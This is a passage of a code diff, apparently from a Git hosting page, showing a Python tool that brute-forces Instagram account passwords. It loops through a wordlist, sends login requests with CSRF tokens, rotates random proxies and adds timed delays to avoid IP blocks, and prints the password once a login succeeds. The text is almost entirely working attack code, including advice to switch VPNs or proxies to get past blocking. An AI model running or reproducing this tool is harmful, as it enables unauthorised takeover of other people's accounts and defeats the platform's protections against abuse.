raise KeyboardInterrupt()
|
||||
else:
|
||||
printit('\n[!] Enter y/Y for YES or n/N for NO', coledt=[1, 49, 91])
|
||||
|
||||
# Starting the brute force
|
||||
printit('[#] Starting the brute force...\n', coledt=[1, 49, 91])
|
||||
printit('\n[#] Starting the brute force...\n', coledt=[1, 49, 91])
|
||||
|
||||
# print start time for calculating total time taken
|
||||
start_time = datetime.datetime.now()
|
||||
if verbose: printit(f'[+] Started @ {start_time.strftime("%I:%M:%S %p")}\n', coledt=[1, 49, 93])
|
||||
|
||||
# printing timeout, if changed from default
|
||||
if verbose and timeout != 2: printit(f'[+] Time delay between each attempt: {timeout} secs\n', coledt=[1, 49, 93])
|
||||
|
||||
# Display verbose information about failed attempts
|
||||
if not verbose: printit('[!] To display failed attempts, use -v or --verbose', coledt=[1, 49, 93])
|
||||
|
||||
# Starting password brute forcing loop
|
||||
for password in wordlist:
|
||||
# Adding a random delay to avoid getting blocked
|
||||
time.sleep(timeout)
|
||||
|
||||
# Request data
|
||||
login_url = 'https://www.instagram.com/accounts/login/ajax/'
|
||||
login_time = int(datetime.datetime.now().timestamp())
|
||||
@@ -230,70 +422,96 @@ def main():
|
||||
"x-csrftoken": csrf_token,
|
||||
}
|
||||
|
||||
if proxy is not None:
|
||||
# get radom proxy from proxy list
|
||||
ran_proxy = random.choice(list(proxy))
|
||||
proxies = {
|
||||
'http': 'http://'+ran_proxy.strip(),
|
||||
'https': 'https://'+ran_proxy.strip()
|
||||
# Checking if proxy is enabled (if, then use proxy)
|
||||
if proxy:
|
||||
# get random proxy from proxy list
|
||||
random_proxy = random.choice(list(proxies))
|
||||
single_proxy = {
|
||||
'http': random_proxy,
|
||||
'https': random_proxy
|
||||
}
|
||||
print(ran_proxy, proxies)
|
||||
else:
|
||||
proxies = None
|
||||
single_proxy = None
|
||||
|
||||
# Sending the request
|
||||
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=proxies)
|
||||
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=single_proxy)
|
||||
|
||||
# proxy check if working
|
||||
if proxy:
|
||||
headers = {
|
||||
"User-Agent": user_agent
|
||||
}
|
||||
|
||||
# Checking if the request returned 403 (temporary ip block/username not found)
|
||||
if login_response.status_code == 403 or login_response.status_code == "403":
|
||||
printit("\n["+str(login_response.status_code)+"]: Temporary IP BLOCKED, wait for few minutes (temp-ip-block)", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: You can also use VPN/change active vpn server to continue (temp-ip-block)", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: Check if the USERNAME entered is correct (user-not-found)", coledt=[4, 49, 91])
|
||||
printit("\n["+str(login_response.status_code)+"]: Temporary IP BLOCKED, wait for few minutes", coledt=[4, 49, 91])
|
||||
if verbose:
|
||||
printit("["+str(login_response.status_code)+"]: You can also use proxy/VPN (change active vpn server)", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: To avoid this use built-in IP rotating proxy (-p/--proxy)", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: OR use custom proxy file for IP rotating (-f/--proxy-file)", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: Timeout between each request can also help (-t/--timeout)\n", coledt=[4, 49, 91])
|
||||
printit("["+str(login_response.status_code)+"]: Also check if the USERNAME entered is available", coledt=[4, 49, 91], line_down=True)
|
||||
sys.exit()
|
||||
|
||||
# login_response -> json format
|
||||
json_data = json.loads(login_response.text)
|
||||
|
||||
# Checking if the username is exists
|
||||
try:
|
||||
if json_data["user"] == False:
|
||||
print(username, normaltxt_start="\n["+str(login_response.status_code)+"] Username not found:", coledt=[4, 49, 91])
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
sys.exit()
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
# Checking if the password is correct
|
||||
try:
|
||||
if json_data["message"] == "checkpoint_required":
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n["+str(login_response.status_code)+"] Login successful (pwd)> ")
|
||||
print("\n[+] User-agent used: "+user_agent)
|
||||
print("[+] CSRF token: ", csrf_token)
|
||||
print("\n[+] Checkpoint required")
|
||||
print("[+] Checkpoint url: https://www.instagram.com"+json_data["checkpoint_url"])
|
||||
sys.exit()
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
if verbose:
|
||||
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
||||
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
||||
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
||||
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
||||
printit2(str("https://www.instagram.com"+json_data["checkpoint_url"]), coledt=[1, 49, 96], normaltxt_start="\n[+] Checkpoint (*req) URL: ")
|
||||
else:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
break
|
||||
except KeyError:
|
||||
try:
|
||||
if json_data["authenticated"] == True:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n["+str(login_response.status_code)+"] Login successful (pwd)> ")
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
sys.exit()
|
||||
else:
|
||||
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
|
||||
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
|
||||
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
printit("["+str(login_response.status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93])
|
||||
print_login_failed(password, verbose, proxy, proxies, login_response.status_code)
|
||||
|
||||
# Adding a random delay to avoid getting blocked
|
||||
time.sleep(timeout)
|
||||
|
||||
# print end time for calculating total time taken
|
||||
end_time = datetime.datetime.now()
|
||||
if verbose: printit(f'\n\n[+] Ended @ {end_time.strftime("%I:%M:%S %p")}', coledt=[1, 49, 93])
|
||||
|
||||
# Calculating the total time taken
|
||||
printit(f'\n[+] Brute force completed in: {end_time - start_time} (H:M:S)', coledt=[1, 49, 91], line_down=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
print('\n[!] Exiting...')
|
||||
printit('\n\n[:)] Exiting the program...', coledt=[1, 49, 92], line_down=True)
|
||||
sys.exit()
|
||||
except requests.exceptions.ConnectionError:
|
||||
print("\n[!] Internet connection is required!\n[!] Exiting...")
|
||||
sys.exit()
|
||||
printit("\n[!] Internet connection is required!\n[;)] Exiting the program...", coledt=[1, 49, 91], line_down=True)
|
||||
sys.exit()
|
||||
Reference in new issue
Block a user